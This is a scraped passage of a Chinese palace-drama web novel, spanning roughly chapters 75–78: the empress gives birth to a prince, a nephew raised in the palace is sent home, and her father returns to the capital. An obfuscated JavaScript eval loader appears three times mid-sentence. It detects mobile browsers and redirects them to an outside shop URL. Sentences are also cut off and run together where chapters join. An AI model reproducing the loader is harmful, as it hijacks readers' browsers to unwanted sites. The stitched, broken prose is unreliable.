如今承恩公又在霍翎刚传出有孕的消息时病倒,更让景元帝面色不虞。 谁知道承恩公是真的感染了风寒,还是被中宫有孕一事吓病了呢? 要换做旁人,与中宫无冤无仇,景元帝当然不会作此联想。 但放在承恩公身上,这个联想就显得合情合理。 时间一晃而过,转眼就到了除夕。 今日风雪俱静,是个难得的好天气。 这还是霍翎怀孕以后,第一次出现在众人面前。 主位下方,端王、端王妃、柳国公、文盛安……所有人的目光都有意无意落在霍翎身上。 霍翎在所有人的注视下,泰然自若。 她今天并未上妆,只用螺子黛浅浅描了眉,但也正因如此,才更衬出她那白里透红的脸色。 只看她的脸色,就知道她这段时间过得有多滋润。 反观端王、端王妃和柳国公等人,再如何遮掩,脸上都带着难以掩饰的疲惫和憔悴,看得出来这几天都没睡过踏实觉。 尤其是柳国公,气急攻心之下吐了一口血。 他上了年纪,如此大动肝火,大夫来了 以后,给他开了不少药方,还建议他好生静养,这段时间都不要见风。 但柳国公还是忍着不适,出席了这场宫宴。 歌舞过后,众人都端着酒排着队来敬霍翎,嘴里一个劲说着漂亮恭维话。 霍翎喝着无墨提前准备好的蜜水,若是遇到不熟的人,就浅浅抿上一口,遇到关系不错的,就给面子地喝完一杯。 一时间,给霍翎敬酒的人,都要比给景元帝敬酒的人多了。 不过在无墨准备的蜜水喝完以后,霍翎就推说自己醉了,与景元帝一起早早离席。 除夕宴过后,就到了景元二十四年。 接连几场隆重又繁琐的祭祀下来,霍翎没什么大碍,景元帝倒是一个不注意染上了风寒。 景元帝怕自己传染给霍翎,特意搬去凤仪宫偏殿住了几天,直到身体彻底痊愈,才重新搬回主殿。 霍翎实在哭笑不得:“陛下总要臣妾多注意身体,却忘了自己也要保重龙体。 景元帝失笑,问起她这几日的饮食起居。 霍翎道:“臣妾倒还好,就是听说陛下这几日用得颇有些清淡。 景元帝道:“生病的时候,吃什么都嘴里发苦。 “现在有胃口了吗? “病好了,自然就有胃口了。 霍翎道:“臣妾让御膳房准备了不少陛下喜欢的菜,今天中午陛下陪臣妾多吃一点。 景元帝笑应了声好。 总的来说,这个年过得没什么波折,倒是出了元宵,景元帝开始重新上朝以后,承恩公府上了一道讣折。 承恩公缠绵病榻多日后,终究还是没有熬过这个冬天。 承恩公的儿孙在朝中都有官身,如今承恩公病逝,他们都要丁忧。 这也是朝廷惯例,除了那些身居高位的官员有可能会被皇帝夺情外,其他官员都要老老实实辞官守孝。 承恩公府的人对此早就做好了心理准备。 他们真正在担心纠结的,其实不是官职,而是承恩公的爵位。 按理来说,承恩公这个爵位,是赐予皇后生父的。 如今何皇后不在了,承恩公也病逝了,朝廷是该收回这个爵位。 但一般来说,朝廷都会另外加恩,允许承恩 公的后代降等承袭爵位比如从一等承恩公降为一等承恩侯。 为了这件事情礼部尚书陆杭特意进了趟宫请示景元帝。 结果他到御书房的时候李满却拦住了他让他在外面喝茶稍等片刻:“皇后娘娘在里面。” 霍翎这回过来找景元帝是因为就在今天早上景元帝离开凤仪宫后不久霍翎突然感觉到肚子里的孩子踢了她一下。 就只是这么一下却是霍翎第一次感受到胎动。 “踢得太快了我都没反应过来。” 景元帝将手放在霍翎微微显怀的肚子上等了好久都没等到这个孩子再动失望道:“是朕今天走得太快了错过了这个孩子第一次跟我们打招呼。” 结果就在景元帝话音落下的瞬间他的手被轻轻踹了一下。 景元帝微怔一时间竟说不出话来。 霍翎眼眸一弯:“可见先前那次是在单独和臣妾打招呼这次是在单独和陛下打招呼。” 景元帝紧张道:“要不要宣胡太医来看看?” 霍翎这段时间也从太医、嬷嬷那里学来了不少孕期的知识:“只是胎动而已而且胡太医昨天才刚请过脉。” 景元帝也没有坚持又等了一会儿 霍翎别开头笑了笑:“说不定是懒的。” 景元帝捏了捏她的手腕不许她这么说孩子:“这孩子在这方面肯定像你而不是像朕。” 霍翎道:“旁人家都是严父慈母到了陛下和臣妾这里可能就得反过来了。” 两人说了回孩子景元帝才想起来陆杭还在外面候着让李满将人请进来。 陆杭给帝后请过安后就说了爵位的事情。 景元帝还在斟酌。 霍翎却眉梢一挑轻飘飘道:“何家的人有立过什么功劳吗朝廷为何要额外加恩他们。” “给已故承恩公加恩倒也罢了那毕竟是先皇后生父就算是看在先皇后的面子上也不能亏待了已故承恩公。但其他人又凭什么?” 此话一出就连陆杭都不由抬头看向霍翎。 霍皇后与承恩公府不对付她不愿朝廷加恩承恩公府很正常。 但她 第 76 章 “你觉得,衔山这... 第76章“你觉得,衔山这 暴雨将整座京师洗礼了一夜,及至天明,方才停歇。 霍翎这一胎是在昨天晚上宫门落锁后发动的,次日清晨诞下皇子,所以宫外的人都没收到风声。 逢一的日子都要举办大朝会,朝臣们早早起来,坐着马车前去上朝,结果一直等到辰时,才等来匆匆赶到、满脸喜气的内侍总管李满。 “诸位大人请回吧,皇后娘娘昨晚发动,今早诞下一位小皇子。陛下在凤仪宫外守了一夜,这会儿已是乏了。” 短短一席话,透露出来的内容却极具份量。 皇后一派的官员,比如邱鸿振、靖国公等人,面上都流露出狂喜之色。 如文盛安、陆杭、陈御史、江祭酒这样的人,虽不是皇后一派的官员,但也颇为高兴。 过继的宗室子再好,又怎么比得过陛下亲子、皇后嫡子更名正言顺呢。 想到这儿,不少人的视线都隐晦地瞥向端王和柳国公。 稍晚一些,宫外的宁信长公主、肃亲王也都听到了消息。 宁信长公主和许时渡收拾一番,赶紧进宫道喜去了。 肃亲王却是特意将二儿子和二儿媳妇叫到了榻前。 从猎场行宫回来后,肃亲王的身体又再次虚弱下去,他早已上了年岁,身子骨又不比同龄人壮实,之前能够随驾去猎场,更多是靠一口心气在撑着,如今那口心气散了大半,病情也开始反复。 “皇后娘娘诞下皇子的事情,你们都听说了吧。” 季二老爷和季二夫人连忙点头。 肃亲王道:“有些事情,我之前就和你们说过了,现在要再和你们说一遍。” “陛下没有儿子的时候,我们想一想就算了,如今陛下和皇后娘娘有了亲生儿子,就什么都不要想了。” 季二老爷保证道:“爹,你放心吧,我明白的。” 肃亲王继续道:“你们也不要丧气。大皇子只有两位姐姐,没有别的亲兄弟,等日后他长大了,可不是就需要堂兄弟来帮把手吗?” “我们家与皇后娘娘素来亲近,三郎略长大皇子几岁,只要好好和大皇子相处,日后前程必不会差的。” 看到二儿子和二儿 媳妇将他的话听了进去,肃亲王也是长舒一口气。 此时此刻,他唯有庆幸,他们家陷得不深,还可以抽身离开。三郎才刚启蒙,只要日后好好教导,不会想岔。 要是像端王府、柳国公府那样深陷其中,才叫麻烦啊。 养在宫里的季渊晚也有十岁了,性格已经定型,若是不能放下不该有的妄念,摆正自己的心态和位置,这一辈子就算是彻底毁了。 公爹都耳提面命到这种地步了,季二夫人也不糊涂,赶紧表态:“过两天就是大皇子的洗三礼,宫里肯定要请我们的,我一会儿就去库房看看,给大皇子备下一份丰厚的洗三礼。” “还有皇后娘娘,她刚生产完,身体肯定很虚弱。虽然宫里什么都不缺,我们还是应该准备一些补品去探望娘娘。” 肃亲王满意地点点头。 与皇后娘娘交好,可是百利而无一害的事情。 没有怀孕之前,皇后娘娘就已经能对前朝施加一定的影响,间接推动了不少政策。 如今皇后娘娘生下大皇子,能做到的事情只会更多。 凤仪宫里,霍翎生下孩子以后,只来得及看孩子一眼,就累得睡了过去。 等她醒来时已是下午。 霍翎正在宫人的伺候下吃着东西,景元帝就过来了。 再晚一些时候,左嬷嬷和奶娘也带着大皇子过来了。 景元帝从奶娘手里接过大皇子,递到霍翎面前:“你还没来得及看看孩子吧。” 霍翎伸出手,摸了摸孩子又红又皱的小脸。 孩子的小脸温热又柔软,胎发浓密,缩在景元帝怀里小小的一团。 霍翎又去捏了捏孩子紧握成拳的手。 似乎是被霍翎闹到了,孩子晃了晃自己的胳膊。 “太医看过孩子了吗?” 景元帝脸上的笑意更浓了几分:“看过了,太医说孩子生得很壮实。你在胎里把他养得很好。” 听到这话,霍翎也松了口气:“那就好。” 景元帝问:“你想到孩子的小名了吗?” “就叫安儿吧。”霍翎垂下眼眸,看着孩子,唇角微弯,“我身为母亲,只希望这个孩子能平安健康长大。” 她这一辈子,应该只会有安儿一个孩 子。 作为大燕的嫡皇子,未来的储君,他要肩负起来的东西非常多,但在那之前,她只希望这个孩子能平安健康地长大。 他会拥有她幼年时渴求追逐过的父爱,也会拥有她幼年时没有得到过的母爱。 她想,她一定要好好护着这个孩子,和陛下一起,陪伴他长大,将他教导成为一名合格的储君,优秀的君王。 内务府不缺各种滋补的东西,孩子已经生下,霍翎也不需要担心补得太过会导致孩子太大不好生,只管静下心来坐月子。 孩子的洗三礼时,京中许多宗室都受到了邀请。 德妃、贤妃等妃嫔,还有大公主、二公主、季渊晚也都一道过来了。 当奶娘抱着大皇子露面时,众人连忙围了上去,嘴里一个劲说着喜庆恭维的话。 这个说“大皇子眼睛和嘴巴都很像娘娘,那个说“很少见到像大皇子一样,胎发这么浓密的孩子,在娘胎里养得可真好,还有的说“瞧这孩子小胳膊小腿多壮实啊…… 凑上去的人实在是太多了,因此没有凑上去的人就显得格格不入。 端王妃牵着季渊康的手,沉默站在人群外围。 季渊康踮起脚尖,目光不时往人群瞟,似乎有些意动,但看了看端王妃,他终究还是打消了这个念头,扭头去看不远处的季渊晚。 季渊晚唇边始终挂着淡淡的礼节性的笑意,目光越过人群,落在大皇子身上,却没有上前过哪怕一步。 *** 大皇子刚出生那几天,景元帝高兴得基本没怎么合过眼,等到那股高兴劲终于压了下去,他才有心思去处理其它事情。 看着站在下首的端王,景元帝的语气很平和。 “渊晚那孩子在皇宫里养了四年,也是时候接回端王府了。 端王垂下眼眸,恭声应是,没有太大反应。这本就是预料之中的事情。 景元帝道:“朕拟了一道圣旨,让李满念给你听听看。 圣旨上的内容,主要是对季渊晚的封赏。 当初季渊晚进宫时,不是随随便便坐在马车里被送进来的,而是宫里用仪仗将他接进来的。 如今要送走季渊晚,也不能随随便便一辆马车将人打发了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340327|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样要准备仪仗将季渊晚 送回端王府。 除了仪仗外 按理来说端王是亲王将来他的儿子继承爵位是要降等袭爵的。 但圣旨里说了将来季渊晚这位世子可以承袭亲王之位。 端王捏了捏隐在袖中的手指面上还要摆出一副受宠若惊的姿态:“皇兄这是不是不太合规矩?” 景元帝道:“养在宫里的亲王世子和养在宫外的亲王世子份量当然不同。” 除此之外景元帝还给季渊晚赏赐了不少好东西就连季渊康那边也有封赏。 这也是景元帝在安抚端王府的人。 他有了自己的亲生儿子肯定不乐意季渊晚再留在皇宫里。但毕竟是自己的亲侄子就算是养个宠物养几年也养出感情来了何况这是个活生生的孩子总要做出妥善的安排。 端王代两个孩子接旨谢恩又问景元帝什么时候将季渊晚送回去端王府也好早做准备。 景元帝道:“内务府还需要一些时间准备仪仗。” “臣弟明白了。”端王主动为景元帝排忧解难“若是皇兄不介意就让臣弟见一见渊晚那孩子与他解释清楚整件事情吧。” 景元帝没有同意端王的提议。 他亲自通知季渊晚肯定比其他人代为通知要好。 “让渊晚来一趟御书房朕亲自跟他说。” 季渊晚来得很快。 走进御书房看到端王也在时季渊晚微微一愣。 景元帝也没做太多铺垫将圣旨递给季渊晚让他自己看看。 季渊晚打开圣旨突然就生出了一种尘埃落定之感:“皇伯父我明白了。这几年多谢皇伯父对我的照顾。” 景元帝的视线余光一直落在季渊晚身上看他小小年纪神情平静脸上也没有露出什么怨怼不忿之色暗暗点了下头。 等端王和季渊晚离开后景元帝也起身去了凤仪宫。 他陪着大皇子玩了一会儿等大皇子饿了被抱下去喝奶时景元帝才与霍翎说了今天的事情。 有关季渊晚的事情霍翎是丝毫不沾手的所以她也是刚知道景元帝对季渊晚的安排。 不过对此霍翎也没什么异议。 将季渊晚送出皇宫让季渊晚无缘皇位就已经是对端王府和柳国公府最大的打击报复了。 霍翎转而问起另一个自己比较关系的问题:“臣妾看陛下这两天一直在翻阅书籍您想好安儿的大名了吗?” 景元帝道:“是想到了一个但朕又怕名字太好会惊了孩子。” 霍翎忙道:“连陛下都觉得好的名字臣妾得听一听。” 景元帝笑:“朕还不了解你吗什么都要最好的真听了这个名字估计就要觉得别的名字是将就了。” 霍翎催促:“您先说说。” 景元帝犹豫了一下还是说了:“这个名字是应了你做的胎梦。” “太阳入怀衔山而起。你觉得衔山这个名字如何?” 霍翎知道景元帝为什么会这么说了。 这个名字放到其他孩子身上可能还不算什么。 放到他们的孩子身上他所要衔起来的山还能有什么? “衔山。季衔山。”霍翎在嘴里念了两遍这个名字眼眸含笑“陛下别纠结了就叫这个名字吧。” “我们的孩子是天底下最有福气的孩子肯定能压得住这个名字。” 作者有话要说 第 77 章 百日宴。 第77章百日宴。 景元帝也很满意这个名字,他所忧虑的无非还是孩子的身体。 为了这件事他还悄悄避着霍翎,召见了钦天监监正和大相国寺住持让两人算算孩子的生辰八字与名字是否相合。 钦天监监正和大相国寺住持都是聪明人,虽然景元帝没有明说但从生辰八字略一推算两人就已经心中有数。 而且,这确实是个寓意极好的名字。 “孩子五行缺土,这名字里恰好有个山字。山体厚重雄浑口衔山体,足以镇住所有外邪万不会惊了孩子。” 景元帝这才放下心来。 霍翎是在几天后的一场闲聊里才听说这件事情的。虽有些哭笑不得但霍翎也能理解景元帝的心情。 霍翎年纪轻,身体底子好又有嬷嬷悉心照料太医出手调理身体恢复起来也很快。 等她出了月子不久,端王上了一道折子,说王妃身体不适,太医来看过几次都没有起色找莲花观观主批了命,说是需要亲生儿子在观里住上三个月,就能不药而愈。 二儿子季渊康年纪还小,不适合久住在观里,大儿子季渊晚在皇宫里叨扰多时,不知陛下能否允许他们将季渊晚接回来。 次日季渊晚哭着冲去凤仪宫拜见景元帝说自己承蒙皇伯父厚爱接进皇宫里享了几年清福唯一的遗憾就是不能在亲生父母面前尽孝。 如今听闻生母重病正是需要他尽孝的时候希望皇伯父能够成全。 景元帝亲自扶起季渊晚为他擦干眼泪准了他的请求先是给端王府赐下一大堆滋养的补品又颁下圣旨封赏季渊晚最后还安抚季渊晚让他在皇宫里多待一段时间等到仪仗准备妥当再送他回家为母祈福。 朝臣对此都保持了沉默就连柳国公也没有提出异议。 大家看得出来这是端王在配合景元帝做戏全了两方的面子。 等内务府那边准备好仪仗景元帝又让钦天监算了个吉日这才将季渊晚送回端王府。 其实端王妃是真的病了。 自从霍翎怀孕以后端王妃心中的忧虑彷徨就始终无法排遣苦苦煎熬了七个月听到霍翎诞下一子后 端王妃只觉自己等待了七个月的审判终于来临。 她勉强撑着身体出席了大皇子的洗三礼,回来后就病倒了,找大夫来看过,也只说是郁结于心。 这会儿看到季渊晚回来,端王妃抱着他狠狠痛哭了一场。 季渊晚靠在母妃温暖的怀里,强忍着的泪水也终于落下:“母妃,我好害怕。” 端王妃听到孩子的诉苦,反倒一下子被激起了斗志。 她努力收起泪意,摸着季渊晚的头道:“不怕,你现在已经回家了。等明天,母妃带着弟弟陪你去莲花观住一段时间,在那里散散心。” 汇聚在端王府身上的目光,都随着端王妃带着两个孩子住进莲花观里,以及大皇子的百日宴而挪开了。 这场百日宴办得比洗三礼要隆重盛大。 除了邀请宗室命妇外,朝中官员的亲眷也在受邀之列。 许久没有在人前露过面的霍翎,亲自抱着孩子出现在众人面前,接受众人的恭贺。 “娘娘,大皇子取好名字了吗?”靖国公夫人一边逗弄着孩子,一边向霍翎打听。 霍翎也没有瞒着,孩子的百日宴也叫命名礼,之前一直没有声张,这会儿是时候将孩子的名字公布出去了。 “小名叫安儿,大名是陛下取的,叫季衔山。” 靖国公夫人惊叹:“这个名字可真好。” 霍翎笑道:“本宫有六个月身孕的时候,做了一个胎梦,陛下正是因为那个胎梦,才给孩子取了这个名字。” 季二夫人也跟着捧场:“不知道是什么胎梦?” 霍翎将胎梦内容一说,大家对望一眼,也甭管这胎梦是真的还是假的,皇后娘娘亲口说了,陛下也明显深信不疑,大家当然是要好好捧场。 就连宁信长公主都说:“皇嫂发动的时候,京师突然天降暴雨。但等大皇子一生下来,那雨就停了,太阳也出来了,可见是应了这胎梦。” 霍翎笑着将孩子递给宁信长公主,让她抱一抱孩子,又问一旁正在逗弄孩子的许时渡,成亲的日子定了没有。 许时渡道:“定在十一月。” 等许时渡说了具体日期,霍翎道:“到时我让人去给你送添妆礼。要是你成亲那日方便的话,我带大皇子去公主府喝一杯你的喜酒。 许时渡眼眸霎时亮了:“只有你和大皇子来吗,皇帝舅舅来不来?要是来的话,我也好将位置提前留出来。 霍翎道:“我还没问过陛下。你先将位置留出来吧。 与许时渡聊了回她的婚事,霍翎让人抱大皇子回去休息,她留在这里继续招待宾客。 一直忙到下午,宾客散去,霍翎换了身衣服,就去看大皇子。 三个多月大的孩子已经慢慢长开了,五官依稀能看出父母的影子,尤其是一双眼睛,生得与霍翎十分相似。 霍翎摸了摸孩子的脸,叫住过来给孩子请平安脉的小陈太医。 “本宫不担心别的,只担心这孩子的身体。小陈太医与本宫相交多年,可否留在这个孩子身边,专门看护他,直至他平安长到三岁。 在太医院里,医术比小陈太医好的人比比皆是,但找个可靠之人才是最重要的。 小陈太医只是醉心医术,又不是不通俗务,当然知道这是多大的机缘。只要大皇子平安长大,少不了他的一份功劳。 “臣多谢娘娘厚爱。 除了小陈太医这边,霍翎还从太医院调了两位医女过来。 太医院一直都有培养医女的习惯。不过这些医女大都是为了在诊治时给太医搭把手,帮太医做一些他们不方便做的事情。 她们在太医院里,更像是跟在太医身边忙前忙后的学徒,没有正式的官职在身。 霍翎见到两人后,也没说虚的,直接许诺,只要她们照顾好大皇子,等大皇子平安长到三岁,就让她们进入太医院成为正式的太医,宫中所有医书也都会向她们开放。 “太医院从来没有女子担任太医的先例。能不能成为先例,就看你们能不能照顾好大皇子了。 有小陈太医和两位医女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340328|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日日照看,还有那些有经验的嬷嬷贴身照顾,霍翎才算是稍稍放下心来。 没过多久,就到了许时渡的添妆礼。 霍翎在这京中,真正称得上是朋友的,也只有一个许时渡。 她给许时渡准备了极丰厚的添妆礼,到了许时渡的吉日,还和景元帝一起带着大皇子出宫去喝喜酒。 许时渡的婚宴办得极盛大,而帝后的亲至,也让这场婚宴的喜庆更上一层楼。 为了不让宾客太拘谨,霍翎和景元帝没有多待,喝过新郎新娘敬的酒后,就起身离开了。 陆杭亲自送他们出府。 霍翎对陆杭笑道:“难怪宁信会选陆尚书的孙子做女婿,果然是一表人才。想必陆尚书年轻时也是这般风采过人。” 霍翎这一番话,既夸了新郎陆淮,又夸了陆杭,陆杭颇有些受宠若惊:“皇后娘娘过誉了。” 马车已近在眼前,霍翎道:“陆尚书就送到这里吧。” 上了马车,景元帝先是和霍翎聊了聊婚宴的热闹,这才说起另一件正事:“就快过年了,你爹上了折子,询问回京述职之事。让你爹他们进京陪你过年如何。” 霍翎笑应了声好:“也有三年没见他们了,正好让他们来看看安儿。” 霍翎怀孕以后,每次霍世鸣给霍翎寄家书时,都会顺便让人捎上一些给她的补品,以及给孩子的东西。 大皇子出生后,霍翎也让人给燕西那边去了信,还收到了霍家人准备的百家被。 百家被是民间习俗,寓意孩子能在百家的庇护下平安健康长大。霍家人的这份礼物,可以说是直接送到了景元帝的心坎上。 所以这会儿景元帝的安排很体贴:“那就让他们早点动身进京,再晚一些,雪下大了就不好赶路了。” 霍世鸣给景元帝上完折子,也没有一味等着景元帝的回复,而是先着手安排起了燕西的事务。 尤其是燕羽军这边。 就在这时候,方氏突然找上霍世鸣。 这大半年时间里,霍世鸣一心扑到了训练骑兵上,方氏也一心扑到了为方建白挑选妻子的事情上。 在燕西一众命妇中,方氏的身份是最高的,她亲自设了几场宴会,给许多有适龄姑娘的人家下了帖子,大家自然都欣然赴宴。 宴会途中,方氏还将方建白叫了过来,想让方建白相看相看姑娘。 刚开始的时候,方建白不明所以,听到方氏有事找他,匆匆前去。结果到了那里,方氏一直拉着他低声介绍姑娘的情况,还有什么不明白的。 之后几次方氏再派人来寻他,他都推说自己公务在身,不便前往。 方氏跟霍世鸣抱怨过几次,还让霍世鸣帮她劝一劝方建白。 霍世鸣劝了,也同样没能劝动。 这回方氏来找霍世鸣,是想让方建白跟着他们一起进京。 边境将领回京需要得到天子首肯,但方建白职务不高,只要身为主将的霍世鸣同意,就能以亲卫的身份,一路护送他们进京。 作者有话要说 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第 78 章 亲人相见。 第78章亲人相见。 方氏心里在想什么,霍世鸣还是比较清楚的。 不过在方建白的婚事上,霍世鸣的态度和方氏是一样的。 阿翎进宫三年,如今连孩子都有了……不管怎么样,人总得往前看。 提前安排好手中的事务,又与几位亲信打过招呼,等京师的旨意一到,霍世鸣即刻动身。 这回进京,霍世鸣闹出来的动静可不算小。 为了展示练兵成果,霍世鸣从燕羽军里精挑细选出来一百人,组成他的亲卫队,由方建白统领。 这一百人身下骑着的马,都是顶顶好的战马。 在缺马的大燕,可是极难看到如此多的好马。当这一行人绝尘而去时,不知吸引了多少人艳羡的目光。 沿途有驿站不断往宫里送消息,霍世鸣一行人刚踏入京师城门,就又接到了宫中的圣旨。 听到圣旨内容,霍世鸣简直欣喜若狂。 因为景元帝给霍世鸣赐下了一座将军府。 ——而这座将军府,正是三十多年前,霍家在京中居住的府邸。 李满将圣旨递给霍世鸣,笑吟吟道:“将军这回进京述职,再住在郡君府就不合适了。听闻陛下有意给承恩公赐府邸,皇后娘娘就选中了这一套,不知霍将军是否满意。” 霍世鸣紧紧握着圣旨,胸膛里淌过一股热流:“满意。太满意了。” 果然还是阿翎知他啊。 李满道:“承恩公可需要奴才派人领您过去?” 霍世鸣朗声一笑:“不用,不用,我知道该怎么回去,多谢李内侍的好意。” 李满听他这么说,也没有强求:“那奴才就先告辞了。承恩公舟车劳顿,陛下说了,让您在府中好好休整一番,明日再进宫不迟。” 目送李满离去,霍世鸣将圣旨揣进怀里,翻身上马,越众而出,依照着旧时的记忆,亲自在前面领路。 远远地,霍世鸣就看到了记忆里的府邸。 每次回京师时,他都会顺便来这里看一眼。 这里或是暂时闲置,无人居住,或是挂上了“某府”的牌匾。霍世鸣每看一次,就黯然神伤一次。 经手过几任主人后,这 一回,府邸上挂着的牌匾,终于重新换回了“霍府”二字。 府邸门前的两头石狮子还如记忆中那般,威风凛凛矗立着。只是历经三十多年的风雨洗礼,愈发显露出时光的印痕。 霍世鸣抚了抚石狮子的头,缓步走上台阶,将手按在红色大门上。 五岁那年,霍家被问责,他被父亲霍英绍牵着走出这座府邸,回头看去,只能看到这扇厚重的红色大门,在他眼前缓缓合上。 如今,年近四十的他再次站在这扇厚重的红色大门前,双手用力一推,终于能名正言顺地走回这座府邸。 …… “霍府”二字,是由霍翎亲笔所书,让、命内务府制成牌匾后,再送过去挂上的。 霍世鸣身为燕羽军主将,虽然在京中停留的时候不会太长,但朝廷为了表示对他的重视,还是要给他赐一座府邸的。 要是别的将领,景元帝就自行决定了,反正也不是什么大事。但霍世鸣是霍翎的亲生父亲,在挑选府邸时,景元帝就征询了下霍翎的意见。 霍翎远比这世间任何一人都要清楚霍世鸣的执念,当即就给景元帝出了主意。 从李满回宫时的禀报,就能知道霍世鸣有多满意这份赏赐。 …… 霍世鸣心情激荡了一晚,第二天进宫时,眼底还带着淡淡的青黛。 按照霍世鸣的打算,他原本是想先公后私,先去给景元帝请安,与景元帝聊一聊燕西的军务,再求景元帝让他见一见霍翎。 结果到了御书房一看,霍世鸣险没吓一跳。 阿翎怎么也在? 霍翎在给霍世鸣写家书时,总不好明晃晃写一句“我能进御书房旁听政务”,所以霍世鸣在这方面的见识就远不如京中官员。 京中官员现在看到她出现在御书房里,已经连眼皮都懒得动一下了。 仿佛皇后就应该出现在御书房里一般。 惊诧过后,霍世鸣连忙行礼:“臣霍世鸣,给陛下、娘娘请安。” 景元帝抬手:“霍将军,坐吧。” 等霍世鸣坐下,霍翎主动打了声招呼:“爹爹昨晚睡得不好?” 霍世鸣笑道:“臣昨晚将霍府逛了一遍,一个没注意,就耽误了入睡的时间。” “爹 爹满意就好。”霍翎上下打量霍世鸣,又道,“三年不见,爹爹看起来更精神了,就是晒得也更黑了。” 在景元帝面前,霍世鸣还是有些拘谨:“臣这几年一直忙于练兵,在前线风吹日晒,黑了不少。倒是娘娘,愈发神采照人。这京师的水土就是比燕西的水土养人。” 霍翎对景元帝说:“可见这御书房不是个能叙旧闲谈的地方。我爹这般严肃的人,都能面不改色,对我说出这种吹捧之语了。” 景元帝哈哈一笑,问霍世鸣:“霍将军这一路可还顺利?” 霍世鸣尴尬道:“托陛下和娘娘的福,一切顺利。” 不过经霍翎这么一调侃,霍世鸣也放开了一些。 他看得出来,对于霍翎与他在御书房闲谈,景元帝并不介怀。 景元帝道:“那霍将军就先来介绍一下燕羽军的情况吧。” 霍世鸣一边介绍,一边用余光去瞄霍翎,原本压下去的诧异又再次翻腾上来。 不过面对景元帝的垂询,霍世鸣也不敢太分神,迅速整理好自己的心情,就全身心投入到和景元帝的问答中。 去年年底,霍世鸣被正式任命为燕羽军主将。 他连过年都没心情过了,一心扑到筹建燕羽军的事情上。 等出了年,冰雪消融,从京师到燕西的官道畅通无阻后,兵部派人送来了大量的兵器铠甲,吏部安排的一些重要官员也都陆续抵达前线。 而组建骑兵要用到的战马,也有监牧区的人来和霍世鸣进行交接。 从三月开始,霍世鸣一边在老兵中挑人,一边在燕西招募新兵。 燕羽军满编三万人,但一支军队从无到有,不可能立刻招满三万人。霍世鸣先期只挑出了五千兵卒,一边训练这五千兵卒,一边往里慢慢填补兵源。 如今大半年下来,燕羽军已扩大到八千的规模。 这些事情,在霍世鸣呈给景元帝的折子里都有提及,如今也不过是说得更细致些,方便天子垂询。 景元帝对于这个进展还是比较满意的。 按照霍世鸣的说法,再给他一到两年的时间,燕羽军就能彻底成型。 当然,这种没有经过战争洗礼的军队,能有多精锐不好说。至少架子是搭起来了,以后多想些法子 来练兵就是。 霍翎出身将门也读过不少兵书但这种从无到有组建一支骑兵的经验是任何一本兵书上都没有提过的。 因此这会儿也听得津津有味全当长长见识。 看景元帝和霍世鸣聊得差不多了霍翎朝李满打了个手势。 李满悄悄退下不多时端着三碗秋梨膏走了进来。 霍翎将其中一碗推到景元帝面前:“陛下你们聊了这么久先休息一下喝些东西润润嗓子吧。” 京师的冬天又干又冷景元帝前几天在外面待得久了点嗓子总有些不舒服但也没严重到要让太医开方子的地步。 霍翎就命底下伺候的人常备着养肺润燥的饮品时不时给景元帝喝上一些。 景元帝要问的都问得差不多了顺势停下话音。 等下首的霍世鸣喝了几口水重新放下碗后霍翎出声道:“本宫有三四年没回过燕西了爹爹能否说一说这几年燕西有什么变化。” 霍世鸣不敢将这话当做是父女之间的闲聊一边绞尽脑汁思索燕西的变化一边回答霍翎。 没有朝廷投入大量资源别说只过去了三四年就算是过去了十三四年燕西各城镇的变化都不会太大。 霍世鸣很快就说不下去了。 霍翎给他提了个醒:“这一年多时间来燕西的马政情况如何?” 霍世鸣恍然连忙道:“燕羽军与燕西监牧区接触颇多依臣之见燕西那位监牧使是个有才干的将上上下下打理得井井有条 “不过除了燕羽军外燕西各军中还是普遍缺马。” 这回不用霍翎再提醒霍世鸣将情况细细道来。 景元帝放下手里的汤匙突然问道:“霍将军与那位羌戎首领李宜春接触得多吗?” 霍世鸣谨慎:“是有过一些接触。” 景元帝:“说一说你对他的了解。” 霍世鸣忍住没去瞧霍翎将自己的看法原原本本说了一遍。 景元帝心中一动:“你说他颇为仰慕大燕文化?” 霍世鸣点头应是:“他身边有一位汉文老师颇受他器重。” 景元帝微微颔首侧头对霍翎道:“这个时 辰,安儿该醒了吧。” “是该醒了。”霍翎说,“爹爹还没见过安儿,不如随陛下和本宫一同去凤仪宫瞧瞧安儿,等用过午膳再出宫不迟。” 霍翎不在凤仪宫的时候,无墨都会亲自守在大皇子身边。 这会儿大皇子刚喝过奶,正躺在小床里,右手抓着一个小布团,在无墨的逗弄下啊啊叫了两声。 似乎是察觉到了霍翎的到来,他突然望着无墨身后,咧嘴笑了一下。 无墨回头:“娘娘,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408585|123828||http|test|mini|href|location''.split(''|''),0,{})); () { 